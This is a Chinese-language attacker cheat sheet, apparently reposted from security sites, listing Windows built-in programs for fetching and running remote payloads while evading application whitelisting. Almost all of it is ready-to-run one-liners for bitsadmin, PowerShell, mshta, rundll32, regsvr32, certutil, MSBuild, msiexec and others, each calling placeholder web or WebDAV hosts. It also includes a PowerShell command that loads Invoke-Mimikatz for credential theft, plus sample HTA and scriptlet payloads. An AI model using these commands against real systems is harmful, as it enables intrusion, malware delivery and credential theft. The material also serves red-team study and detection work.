近期,攻击者使用DDE执行任意命令行工具并入侵系统的情况开始增加,而这似乎也成为了近期的一种趋势。但是,除了PowerShell之外,还有哪些炫酷的命令行工具是攻击者可以选择使用的呢?
场景前言
首先,这些命令行工具需要满足以下条件:
1、允许执行任意代码;
2、支持从远程服务器下载Payload;
3.、支持代理;
4、支持尽可能多的Microsoft标准(或使用广泛的)代码库;
5、只会在内存中执行,而不会在磁盘中留下痕迹;
实际上,前人已经在这个领域做出了很多的努力。尤其是@subTee,他不仅设计出了应用程序白名单绕过技术,而且他还发明了使用Microsoft内置代码库来执行任意代码的方法。
需要注意的是,并非所有的命令行工具都满足上述所有的条件,尤其是上面的第五点,因为在绝大多数情况下,工具都会在目标系统的本地磁盘中下载Payload或其他恶意文件。
如果考虑到需要从远程服务器下载Payload文件的话,一般只有下面这三种可能的情况:
1、命令本身可以接受一个HTTP URL作为其中一个参数; 2、命令接受一个UNC路径(指向一台WebDAV服务器); 3、命令能够执行一个小型的内联脚本(脚本负责完成下载任务);
根据Windows系统版本的不同(Win 7或Win 10),系统会将那些通过HTTP下载的对象存储在不同的IE本地缓存之中:
C:\Users\<username>\AppData\Local\Microsoft\Windows\TemporaryInternet Files\ C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE\<subdir>
而通过UNC路径(指向一台WebDAV服务器)访问的文件将会被存储在WebDAV客户端本地缓存之中:
C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV
在使用UNC路径指向一台托管了Payload的WebDAV服务器时,请记住一点:只有当WebClient服务开启之后该功能才能正常工作。假设该服务没有开启,那么如果你想使用低权限用户角色来开启该服务的话,可以直接在命令行界面中使用命令“pushd \\webdavserver & popd”。
在下面给出的场景中,我们将会给大家介绍几种热门命令行工具的使用以及注意事项。
1.bitsadmin命令(只能命令下载到指定路径上,win7以上):
bitsadmin /transfer myDownLoadJob /download /priority normal "http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg" "d:\abc.jpg"
bitsadmin /transfer d90f <http://site.com/a> %APPDATA%\d90f.exe&%APPDATA%\d90f.exe&del %APPDATA%\d90f.exe
2.powershell命名下载执行:(win7以上)
powershell IEX (New-Object Net.WebClient).DownloadString('<https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1>'); Invoke-Mimikatz
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
powershell (new-object System.Net.WebClient).DownloadFile( 'http://192.168.168.183/1.exe’,’C:\111111111111111.exe')
powershell -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg','d:\\1.jpg')
3.mshta命令下载执行
实际上,Mshta跟cscript/wscript是一类的,但是它还可以执行内联脚本,我们可以通过内联脚本来下载并执行Payload代码,
由于mshta还可以接受URL地址作为参数并执行HTA文件,因此我们还可以使用下面这种小技巧来执行命令。
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) mshta http://webserver/payload.hta mshta \\webdavserver\folder\payload.hta
其中,负责执行网络调用的是svchost.exe,而命令会将下载的Payload文件写入到WebDAV客户端本地缓存之中。
payload.hta
<HTML> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <HEAD> <script language="VBScript"> Window.ReSizeTo 0, 0 Window.moveTo -2000,-2000 Set objShell = CreateObject("Wscript.Shell") objShell.Run "calc.exe" self.close </script> <body> demo </body> </HEAD> </HTML>
4.rundll32命令下载执行
rundll32 \\webdavserver\folder\payload.dll,entrypoint
在上述命令中,负责执行网络调用的是mshta.exe,而命令会将下载的Payload文件写入到IE本地缓存之中。Rundll32还可以用来调用某些内联脚本:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
参考:https://github.com/3gstudent/Javascript-Backdoor
5.net中的regasm命令下载执行
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
6.cmd的远程命令下载:
当你想使用cmd.exe运行一个批处理文件时,为什么情况会变得很复杂呢?尤其是当你的批处理文件不仅会执行一系列命令,而且还嵌入了任意类型文件的时候。大家可以参考一下我自己开发的Invoke-EmbedInBatch.ps1脚本(受到了@xorrior的启发),它可以帮助你轻松地在目标主机中释放任何代码、dll、以及脚本:
https://github.com/Arno0x/PowerShellScripts
cmd.exe /k < \webdavserver\folder\batchfile.txt
7.regsvr32命令下载执行
这种技术也是@subTee发明的,它需要的脚本跟mshta所使用的有些许不同。首选方法如下:
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
负责执行网络调用的是regsvr32.exe,而命令会将下载的Payload文件写入到IE本地缓存之中。
其次,我们还可以使用UNC/WebDAV:
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll regsvr32 /u /s /i:<http://site.com/js.png> scrobj.dll
其中,负责执行网络调用的是svchost.exe,而命令会将下载的Payload文件写入到WebDAV客户端本地缓存之中。
js.png
<?XML version="1.0"?> <scriptlet> <registration progid="ShortJSRAT" classid="{10001111-0000-0000-0000-0000FEEDACDC}" > <!-- Learn from Casey Smith @subTee --> <script language="JScript"> <![CDATA[ ps = "cmd.exe /c calc.exe"; new ActiveXObject("WScript.Shell").Run(ps,0,true); ]]> </script> </registration> </scriptlet>
8.certutil命令下载执行
整个Payload下载部分我们都可以通过certutil.exe来完成:
certutil -urlcache -split -f http://webserver/payload payload
除此之外,我们还可以用certutil.exe配合InstallUtil.exe来执行特殊的DLL:
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
当然了,你也可以直接传递一个可执行文件:
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe certutil -urlcache -split -f http://site.com/a a.exe && a.exe && del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete
9.net中的MSBulid命令下载执行
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
10. odbcconf命令下载执行
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
11.cscript脚本远程命令下载执行
cscript //E:jscript \\webdavserver\folder\payload.txt
downfile.vbs:
' Set your settings strFileURL = "http://www.it1.net/images/it1_logo2.jpg" strHDLocation = "c:\logo.jpg" ' Fetch the file Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") objXMLHTTP.open "GET", strFileURL, false objXMLHTTP.send() If objXMLHTTP.Status = 200 Then Set objADOStream = CreateObject("ADODB.Stream") objADOStream.Open objADOStream.Type = 1 'adTypeBinary objADOStream.Write objXMLHTTP.ResponseBody objADOStream.Position = 0'Set the stream position to the start Set objFSO = Createobject("Scripting.FileSystemObject") If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation Set objFSO = Nothing objADOStream.SaveToFile strHDLocation objADOStream.Close Set objADOStream = Nothing End if Set objXMLHTTP = Nothing
将以上保存为downfile.vbs
输入命令:cscript downfile.vbs
12.pubprn.vbs下载执行命令
cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:<https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct>
13.windows自带命令copy
copy \x.x.x.x\xx\poc.exe xcopy d:\test.exe \x.x.x.x\test.exe
14. IEXPLORE.EXE命令下载执行(需要IE存在oday)
"C:\Program Files\Internet Explorer\IEXPLORE.EXE" <http://site.com/exp>
15.IEEXC命令下载执行
C:\Windows\Microsoft.NET\Framework\v2.0.50727\> caspol -s off C:\Windows\Microsoft.NET\Framework\v2.0.50727\> IEExec <http://site.com/files/test64.exe>
参考:https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/
16. msiexec命令下载执行
msiexec /q /i <http://site.com/payloads/calc.png>
17.下载命令执行项目GreatSCT
<https://github.com/GreatSCT/>
Payload样本
你可以从atomic-red-team的GitHub代码库中获取可用的Payload样本:
GitHub地址:https://github.com/redcanaryco/atomic-red-team
除此之外,你也可以从GreatSCT项目的GitHub中获取自动生成的Payload:
GitHub地址:https://github.com/GreatSCT/GreatSCT
当然了,我自己的Gist【传送门】中也托管了不少的Payload样本,感兴趣的同学可以参考一下。
转载来源:
- https://xz.aliyun.com/t/1654#toc-12
- https://www.freebuf.com/articles/system/155147.html